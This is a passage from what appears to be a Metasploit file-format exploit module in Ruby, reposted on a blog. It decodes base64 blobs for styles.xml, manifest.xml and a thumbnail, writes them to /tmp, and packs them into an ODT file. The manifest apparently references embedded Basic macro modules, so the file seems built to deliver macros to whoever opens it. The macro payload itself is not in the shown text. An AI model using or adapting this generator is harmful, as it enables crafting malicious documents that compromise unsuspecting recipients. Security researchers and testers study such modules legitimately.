zdHlsZTpzdHlsZT48c3R5bGU6c3R5bGUgc3R5bGU6bmFtZT0iQ2FwdGlvbiIgc3R5bGU6ZmFtaWx5PSJwYXJhZ3JhcGgiIHN0eWxlOnBhcmVudC1zdHlsZS1uYW1lPSJTdGFuZGFyZCIgc3R5bGU6Y2xhc3M9ImV4dHJhIj48c3R5bGU6cGFyYWdyYXBoLXByb3BlcnRpZXMgZm86bWFyZ2luLXRvcD0iMC4wODM1aW4iIGZvOm1hcmdpbi1ib3R0b209IjAuMDgzNWluIiB0ZXh0Om51bWJlci1saW5lcz0iZmFsc2UiIHRleHQ6bGluZS1udW1iZXI9IjAiLz48c3R5bGU6dGV4dC1wcm9wZXJ0aWVzIGZvOmZvbnQtc2l6ZT0iMTJwdCIgZm86Zm9udC1zdHlsZT0iaXRhbGljIiBzdHlsZTpmb250LXNpemUtYXNpYW49IjEycHQiIHN0eWxlOmZvbnQtc3R5bGUtYXNpYW49Iml0YWxpYyIgc3R5bGU6Zm9udC1uYW1lLWNvbXBsZXg9Ik1hbmdhbDEiIHN0eWxlOmZvbnQtc2l6ZS1jb21wbGV4PSIxMnB0IiBzdHlsZTpmb250LXN0eWxlLWNvbXBsZXg9Iml0YWxpYyIvPjwvc3R5bGU6c3R5bGU+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9IkluZGV4IiBzdHlsZTpmYW1pbHk9InBhcmFncmFwaCIgc3R5bGU6cGFyZW50LXN0eWxlLW5hbWU9IlN0YW5kYXJkIiBzdHlsZTpjbGFzcz0iaW5kZXgiPjxzdHlsZTpwYXJhZ3JhcGgtcHJvcGVydGllcyB0ZXh0Om51bWJlci1saW5lcz0iZmFsc2UiIHRleHQ6bGluZS1udW1iZXI9IjAiLz48c3R5bGU6dGV4dC1wcm9wZXJ0aWVzIHN0eWxlOmZvbnQtbmFtZS1jb21wbGV4PSJNYW5nYWwxIi8+PC9zdHlsZTpzdHlsZT48dGV4dDpvdXRsaW5lLXN0eWxlIHN0eWxlOm5hbWU9Ik91dGxpbmUiPjx0ZXh0Om91dGxpbmUtbGV2ZWwtc3R5bGUgdGV4dDpsZXZlbD0iMSIgc3R5bGU6bnVtLWZvcm1hdD0iIj48c3R5bGU6bGlzdC1sZXZlbC1wcm9wZXJ0aWVzIHRleHQ6bGlzdC1sZXZlbC1wb3NpdGlvbi1hbmQtc3BhY2UtbW9kZT0ibGFiZWwtYWxpZ25tZW50Ij48c3R5bGU6bGlzdC1sZXZlbC1sYWJlbC1hbGlnbm1lbnQgdGV4dDpsYWJlbC1mb2xsb3dlZC1ieT0ibGlzdHRhYiIgdGV4dDpsaXN0LXRhYi1zdG9wLXBvc2l0aW9uPSIwLjNpbiIgZm86dGV4dC1pbmRlbnQ9Ii0wLjNpbiIgZm86bWFyZ2luLWxlZnQ9IjAuM2luIi8+PC9zdHlsZTpsaXN0LWxldmVsLXByb3BlcnRpZXM+PC90ZXh0Om91dGxpbmUtbGV2ZWwtc3R5bGU+PHRleHQ6b3V0bGluZS1sZXZlbC1zdHlsZSB0ZXh0OmxldmVsPSIyIiBzdHlsZTpudW0tZm9ybWF0PSIiPjxzdHlsZTpsaXN0LWxldmVsLXByb3BlcnRpZXMgdGV4dDpsaXN0LWxldmVsLXBvc2l0aW9uLWFuZC1zcGFjZS1tb2RlPSJsYWJlbC1hbGlnbm1lbnQiPjxzdHlsZTpsaXN0LWxldmVsLWxhYmVsLWFsaWdubWVudCB0ZXh0OmxhYmVsLWZvbGxvd2VkLWJ5PSJsaXN0dGFiIiB0ZXh0Omxpc3QtdGFiLXN0b3AtcG9zaXRpb249IjAuNGluIiBmbzp0ZXh0LWluZGVudD0iLTAuNGluIiBmbzptYXJnaW4tbGVmdD0iMC40aW4iLz48L3N0eWxlOmxpc3QtbGV2ZWwtcHJvcGVydGllcz48L3RleHQ6b3V0bGluZS1sZXZlbC1zdHlsZT48dGV4dDpvdXRsaW5lLWxldmVsLXN0eWxlIHRleHQ6bGV2ZWw9IjMiIHN0eWxlOm51bS1mb3JtYXQ9IiI+PHN0eWxlOmxpc3QtbGV2ZWwtcHJvcGVydGllcyB0ZXh0Omxpc3QtbGV2ZWwtcG9zaXRpb24tYW5kLXNwYWNlLW1vZGU9ImxhYmVsLWFsaWdubWVudCI+PHN0eWxlOmxpc3QtbGV2ZWwtbGFiZWwtYWxpZ25tZW50IHRleHQ6bGFiZWwtZm9sbG93ZWQtYnk9Imxpc3R0YWIiIHRleHQ6bGlzdC10YWItc3RvcC1wb3NpdGlvbj0iMC41aW4iIGZvOnRleHQtaW5kZW50PSItMC41aW4iIGZvOm1hcmdpbi1sZWZ0PSIwLjVpbiIvPjwvc3R5bGU6bGlzdC1sZXZlbC1wcm9wZXJ0aWVzPjwvdGV4dDpvdXRsaW5lLWxldmVsLXN0eWxlPjx0ZXh0Om91dGxpbmUtbGV2ZWwtc3R5bGUgdGV4dDpsZXZlbD0iNCIgc3R5bGU6bnVtLWZvcm1hdD0iIj48c3R5bGU6bGlzdC1sZXZlbC1wcm9wZXJ0aWVzIHRleHQ6bGlzdC1sZXZlbC1wb3NpdGlvbi1hbmQtc3BhY2UtbW9kZT0ibGFiZWwtYWxpZ25tZW50Ij48c3R5bGU6bGlzdC1sZXZlbC1sYWJlbC1hbGlnbm1lbnQgdGV4dDpsYWJlbC1mb2xsb3dlZC1ieT0ibGlzdHRhYiIgdGV4dDpsaXN0LXRhYi1zdG9wLXBvc2l0aW9uPSIwLjZpbiIgZm86dGV4dC1pbmRlbnQ9Ii0wLjZpbiIgZm86bWFyZ2luLWxlZnQ9IjAuNmluIi8+PC9zdHlsZTpsaXN0LWxldmVsLXByb3BlcnRpZXM+PC90ZXh0Om91dGxpbmUtbGV2ZWwtc3R5bGU+PHRleHQ6b3V0bGluZS1sZXZlbC1zdHlsZSB0ZXh0OmxldmVsPSI1IiBzdHlsZTpudW0tZm9ybWF0PSIiPjxzdHlsZTpsaXN0LWxldmVsLXByb3BlcnRpZXMgdGV4dDpsaXN0LWxldmVsLXBvc2l0aW9uLWFuZC1zcGFjZS1tb2RlPSJsYWJlbC1hbGlnbm1lbnQiPjxzdHlsZTpsaXN0LWxldmVsLWxhYmVsLWFsaWdubWVudCB0ZXh0OmxhYmVsLWZvbGxvd2VkLWJ5PSJsaXN0dGFiIiB0ZXh0Omxpc3QtdGFiLXN0b3AtcG9zaXRpb249IjAuN2luIiBmbzp0ZXh0LWluZGVudD0iLTAuN2luIiBmbzptYXJnaW4tbGVmdD0iMC43aW4iLz48L3N0eWxlOmxpc3QtbGV2ZWwtcHJvcGVydGllcz48L3RleHQ6b3V0bGluZS1sZXZlbC1zdHlsZT48dGV4dDpvdXRsaW5lLWxldmVsLXN0eWxlIHRleHQ6bGV2ZWw9IjYiIHN0eWxlOm51bS1mb3JtYXQ9IiI+PHN0eWxlOmxpc3QtbGV2ZWwtcHJvcGVydGllcyB0ZXh0Omxpc3QtbGV2ZWwtcG9zaXRpb24tYW5kLXNwYWNlLW1vZGU9ImxhYmVsLWFsaWdubWVudCI+PHN0eWxlOmxpc3QtbGV2ZWwtbGFiZWwtYWxpZ25tZW50IHRleHQ6bGFiZWwtZm9sbG93ZWQtYnk9Imxpc3R0YWIiIHRleHQ6bGlzdC10YWItc3RvcC1wb3NpdGlvbj0iMC44aW4iIGZvOnRleHQtaW5kZW50PSItMC44aW4iIGZvOm1hcmdpbi1sZWZ0PSIwLjhpbiIvPjwvc3R5bGU6bGlzdC1sZXZlbC1wcm9wZXJ0aWVzPjwvdGV4dDpvdXRsaW5lLWxldmVsLXN0eWxlPjx0ZXh0Om91dGxpbmUtbGV2ZWwtc3R5bGUgdGV4dDpsZXZlbD0iNyIgc3R5bGU6bnVtLWZvcm1hdD0iIj48c3R5bGU6bGlzdC1sZXZlbC1wcm9wZXJ0aWVzIHRleHQ6bGlzdC1sZXZlbC1wb3NpdGlvbi1hbmQtc3BhY2UtbW9kZT0ibGFiZWwtYWxpZ25tZW50Ij48c3R5bGU6bGlzdC1sZXZlbC1sYWJlbC1hbGlnbm1lbnQgdGV4dDpsYWJlbC1mb2xsb3dlZC1ieT0ibGlzdHRhYiIgdGV4dDpsaXN0LXRhYi1zdG9wLXBvc2l0aW9uPSIwLjlpbiIgZm86dGV4dC1pbmRlbnQ9Ii0wLjlpbiIgZm86bWFyZ2luLWxlZnQ9IjAuOWluIi8+PC9zdHlsZTpsaXN0LWxldmVsLXByb3BlcnRpZXM+PC90ZXh0Om91dGxpbmUtbGV2ZWwtc3R5bGU+PHRleHQ6b3V0bGluZS1sZXZlbC1zdHlsZSB0ZXh0OmxldmVsPSI4IiBzdHlsZTpudW0tZm9ybWF0PSIiPjxzdHlsZTpsaXN0LWxldmVsLXByb3BlcnRpZXMgdGV4dDpsaXN0LWxldmVsLXBvc2l0aW9uLWFuZC1zcGFjZS1tb2RlPSJsYWJlbC1hbGlnbm1lbnQiPjxzdHlsZTpsaXN0LWxldmVsLWxhYmVsLWFsaWdubWVudCB0ZXh0OmxhYmVsLWZvbGxvd2VkLWJ5PSJsaXN0dGFiIiB0ZXh0Omxpc3QtdGFiLXN0b3AtcG9zaXRpb249IjFpbiIgZm86dGV4dC1pbmRlbnQ9Ii0xaW4iIGZvOm1hcmdpbi1sZWZ0PSIxaW4iLz48L3N0eWxlOmxpc3QtbGV2ZWwtcHJvcGVydGllcz48L3RleHQ6b3V0bGluZS1sZXZlbC1zdHlsZT48dGV4dDpvdXRsaW5lLWxldmVsLXN0eWxlIHRleHQ6bGV2ZWw9IjkiIHN0eWxlOm51bS1mb3JtYXQ9IiI+PHN0eWxlOmxpc3QtbGV2ZWwtcHJvcGVydGllcyB0ZXh0Omxpc3QtbGV2ZWwtcG9zaXRpb24tYW5kLXNwYWNlLW1vZGU9ImxhYmVsLWFsaWdubWVudCI+PHN0eWxlOmxpc3QtbGV2ZWwtbGFiZWwtYWxpZ25tZW50IHRleHQ6bGFiZWwtZm9sbG93ZWQtYnk9Imxpc3R0YWIiIHRleHQ6bGlzdC10YWItc3RvcC1wb3NpdGlvbj0iMS4xaW4iIGZvOnRleHQtaW5kZW50PSItMS4xaW4iIGZvOm1hcmdpbi1sZWZ0PSIxLjFpbiIvPjwvc3R5bGU6bGlzdC1sZXZlbC1wcm9wZXJ0aWVzPjwvdGV4dDpvdXRsaW5lLWxldmVsLXN0eWxlPjx0ZXh0Om91dGxpbmUtbGV2ZWwtc3R5bGUgdGV4dDpsZXZlbD0iMTAiIHN0eWxlOm51bS1mb3JtYXQ9IiI+PHN0eWxlOmxpc3QtbGV2ZWwtcHJvcGVydGllcyB0ZXh0Omxpc3QtbGV2ZWwtcG9zaXRpb24tYW5kLXNwYWNlLW1vZGU9ImxhYmVsLWFsaWdubWVudCI+PHN0eWxlOmxpc3QtbGV2ZWwtbGFiZWwtYWxpZ25tZW50IHRleHQ6bGFiZWwtZm9sbG93ZWQtYnk9Imxpc3R0YWIiIHRleHQ6bGlzdC10YWItc3RvcC1wb3NpdGlvbj0iMS4yaW4iIGZvOnRleHQtaW5kZW50PSItMS4yaW4iIGZvOm1hcmdpbi1sZWZ0PSIxLjJpbiIvPjwvc3R5bGU6bGlzdC1sZXZlbC1wcm9wZXJ0aWVzPjwvdGV4dDpvdXRsaW5lLWxldmVsLXN0eWxlPjwvdGV4dDpvdXRsaW5lLXN0eWxlPjx0ZXh0Om5vdGVzLWNvbmZpZ3VyYXRpb24gdGV4dDpub3RlLWNsYXNzPSJmb290bm90ZSIgc3R5bGU6bnVtLWZvcm1hdD0iMSIgdGV4dDpzdGFydC12YWx1ZT0iMCIgdGV4dDpmb290bm90ZXMtcG9zaXRpb249InBhZ2UiIHRleHQ6c3RhcnQtbnVtYmVyaW5nLWF0PSJkb2N1bWVudCIvPjx0ZXh0Om5vdGVzLWNvbmZpZ3VyYXRpb24gdGV4dDpub3RlLWNsYXNzPSJlbmRub3RlIiBzdHlsZTpudW0tZm9ybWF0PSJpIiB0ZXh0OnN0YXJ0LXZhbHVlPSIwIi8+PHRleHQ6bGluZW51bWJlcmluZy1jb25maWd1cmF0aW9uIHRleHQ6bnVtYmVyLWxpbmVzPSJmYWxzZSIgdGV4dDpvZmZzZXQ9IjAuMTk2NWluIiBzdHlsZTpudW0tZm9ybWF0PSIxIiB0ZXh0Om51bWJlci1wb3NpdGlvbj0ibGVmdCIgdGV4dDppbmNyZW1lbnQ9IjUiLz48L29mZmljZTpzdHlsZXM+PG9mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxzdHlsZTpwYWdlLWxheW91dCBzdHlsZTpuYW1lPSJNcG0xIj48c3R5bGU6cGFnZS1sYXlvdXQtcHJvcGVydGllcyBmbzpwYWdlLXdpZHRoPSI4LjVpbiIgZm86cGFnZS1oZWlnaHQ9IjExaW4iIHN0eWxlOm51bS1mb3JtYXQ9IjEiIHN0eWxlOnByaW50LW9yaWVudGF0aW9uPSJwb3J0cmFpdCIgZm86bWFyZ2luLXRvcD0iMC43ODc0aW4iIGZvOm1hcmdpbi1ib3R0b209IjAuNzg3NGluIiBmbzptYXJnaW4tbGVmdD0iMC43ODc0aW4iIGZvOm1hcmdpbi1yaWdodD0iMC43ODc0aW4iIHN0eWxlOndyaXRpbmctbW9kZT0ibHItdGIiIHN0eWxlOmZvb3Rub3RlLW1heC1oZWlnaHQ9IjBpbiI+PHN0eWxlOmZvb3Rub3RlLXNlcCBzdHlsZTp3aWR0aD0iMC4wMDcxaW4iIHN0eWxlOmRpc3RhbmNlLWJlZm9yZS1zZXA9IjAuMDM5OGluIiBzdHlsZTpkaXN0YW5jZS1hZnRlci1zZXA9IjAuMDM5OGluIiBzdHlsZTphZGp1c3RtZW50PSJsZWZ0IiBzdHlsZTpyZWwtd2lkdGg9IjI1JSIgc3R5bGU6Y29sb3I9IiMwMDAwMDAiLz48L3N0eWxlOnBhZ2UtbGF5b3V0LXByb3BlcnRpZXM+PHN0eWxlOmhlYWRlci1zdHlsZS8+PHN0eWxlOmZvb3Rlci1zdHlsZS8+PC9zdHlsZTpwYWdlLWxheW91dD48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6bWFzdGVyLXN0eWxlcz48c3R5bGU6bWFzdGVyLXBhZ2Ugc3R5bGU6bmFtZT0iU3RhbmRhcmQiIHN0eWxlOnBhZ2UtbGF5b3V0LW5hbWU9Ik1wbTEiLz48L29mZmljZTptYXN0ZXItc3R5bGVzPjwvb2ZmaWNlOmRvY3VtZW50LXN0eWxlcz4="
      #Write styles.xml out to disk
      open('/tmp/styles.xml', 'w') { |f|
        f.puts (Base64.decode64(styles))
        f.close
      }

      manifestxml="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxtYW5pZmVzdDptYW5pZmVzdCB4bWxuczptYW5pZmVzdD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptYW5pZmVzdDoxLjAiIG1hbmlmZXN0OnZlcnNpb249IjEuMiI+DQogPG1hbmlmZXN0OmZpbGUtZW50cnkgbWFuaWZlc3Q6bWVkaWEtdHlwZT0iYXBwbGljYXRpb24vdm5kLm9hc2lzLm9wZW5kb2N1bWVudC50ZXh0IiBtYW5pZmVzdDp2ZXJzaW9uPSIxLjIiIG1hbmlmZXN0OmZ1bGwtcGF0aD0iLyIvPg0KIDxtYW5pZmVzdDpmaWxlLWVudHJ5IG1hbmlmZXN0Om1lZGlhLXR5cGU9IiIgbWFuaWZlc3Q6ZnVsbC1wYXRoPSJDb25maWd1cmF0aW9uczIvYWNjZWxlcmF0b3IvY3VycmVudC54bWwiLz4NCiA8bWFuaWZlc3Q6ZmlsZS1lbnRyeSBtYW5pZmVzdDptZWRpYS10eXBlPSJhcHBsaWNhdGlvbi92bmQuc3VuLnhtbC51aS5jb25maWd1cmF0aW9uIiBtYW5pZmVzdDpmdWxsLXBhdGg9IkNvbmZpZ3VyYXRpb25zMi8iLz4NCiA8bWFuaWZlc3Q6ZmlsZS1lbnRyeSBtYW5pZmVzdDptZWRpYS10eXBlPSJpbWFnZS9wbmciIG1hbmlmZXN0OmZ1bGwtcGF0aD0iVGh1bWJuYWlscy90aHVtYm5haWwucG5nIi8+DQogPG1hbmlmZXN0OmZpbGUtZW50cnkgbWFuaWZlc3Q6bWVkaWEtdHlwZT0idGV4dC94bWwiIG1hbmlmZXN0OmZ1bGwtcGF0aD0iY29udGVudC54bWwiLz4NCiA8bWFuaWZlc3Q6ZmlsZS1lbnRyeSBtYW5pZmVzdDptZWRpYS10eXBlPSJ0ZXh0L3htbCIgbWFuaWZlc3Q6ZnVsbC1wYXRoPSJCYXNpYy9TdGFuZGFyZC9zY3JpcHQtbGIueG1sIi8+DQogPG1hbmlmZXN0OmZpbGUtZW50cnkgbWFuaWZlc3Q6bWVkaWEtdHlwZT0idGV4dC94bWwiIG1hbmlmZXN0OmZ1bGwtcGF0aD0iQmFzaWMvU3RhbmRhcmQvTW9kdWxlMS54bWwiLz4NCiA8bWFuaWZlc3Q6ZmlsZS1lbnRyeSBtYW5pZmVzdDptZWRpYS10eXBlPSJ0ZXh0L3htbCIgbWFuaWZlc3Q6ZnVsbC1wYXRoPSJCYXNpYy9zY3JpcHQtbGMueG1sIi8+DQogPG1hbmlmZXN0OmZpbGUtZW50cnkgbWFuaWZlc3Q6bWVkaWEtdHlwZT0idGV4dC94bWwiIG1hbmlmZXN0OmZ1bGwtcGF0aD0ic2V0dGluZ3MueG1sIi8+DQogPG1hbmlmZXN0OmZpbGUtZW50cnkgbWFuaWZlc3Q6bWVkaWEtdHlwZT0idGV4dC94bWwiIG1hbmlmZXN0OmZ1bGwtcGF0aD0ic3R5bGVzLnhtbCIvPg0KIDxtYW5pZmVzdDpmaWxlLWVudHJ5IG1hbmlmZXN0Om1lZGlhLXR5cGU9ImFwcGxpY2F0aW9uL3JkZit4bWwiIG1hbmlmZXN0OmZ1bGwtcGF0aD0ibWFuaWZlc3QucmRmIi8+DQogPG1hbmlmZXN0OmZpbGUtZW50cnkgbWFuaWZlc3Q6bWVkaWEtdHlwZT0idGV4dC94bWwiIG1hbmlmZXN0OmZ1bGwtcGF0aD0ibWV0YS54bWwiLz4NCjwvbWFuaWZlc3Q6bWFuaWZlc3Q+"
      #Write manifest.xml out to disk
      open('/tmp/manifest.xml', 'w') { |f|
        f.puts (Base64.decode64(manifestxml))
        f.close
      }

      thumbnail="iVBORw0KGgoAAAANSUhEUgAAAMYAAAEACAIAAABnP54XAAACn0lEQVR4nO3SsQkAMAzAsA75/+X0CUOhSBd48Ozugc68DuA3liJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWKWImYpYpYiZililiJmKWIXqFcG/rKjw88AAAAASUVORK5CYII="
      #Write thumbnail out to disk
      open('/tmp/thumbnail.png', 'w') { |f|
        f.puts (Base64.decode64(thumbnail))
        f.close
      }
    end
  end

  def createzip()
    begin
      # Create ODT File/Zip Archieve and add files which are in the tmp folder
      zip = Rex::Zip::Archive.new

      buf = File.read('/tmp/content.xml')
      zip.add_file('content.xml', buf)

      buf = File.read('/tmp/manifest.rdf')
      zip.add_file('manifest.rdf', buf)

      buf = File.read('/tmp/meta.xml')
      zip.add_file('meta.xml', buf)

      buf = File.read('/tmp/settings.xml')
      zip.add_file('settings.xml', buf)

      buf = File.read('/tmp/styles.xml')
      zip.add_file('styles.xml', buf)

      buf = File.read('/tmp/manifest.xml')
      zip.add_file('META-INF/manifest.xml', buf)

      buf = File.read('/tmp/thumbnail.png')
      zip.add_file('Thumbnails/thumbnail.png', buf)

      zip.save_to("/tmp/"+datastore['FILENAME'])
      zip.pack

      #Display status file created showing output path
      print_status("File Created - /tmp/"+datastore['FILENAME']+"\n")
    end
  end

end

Leave a Reply

Your email address will not be published. Required fields are marked *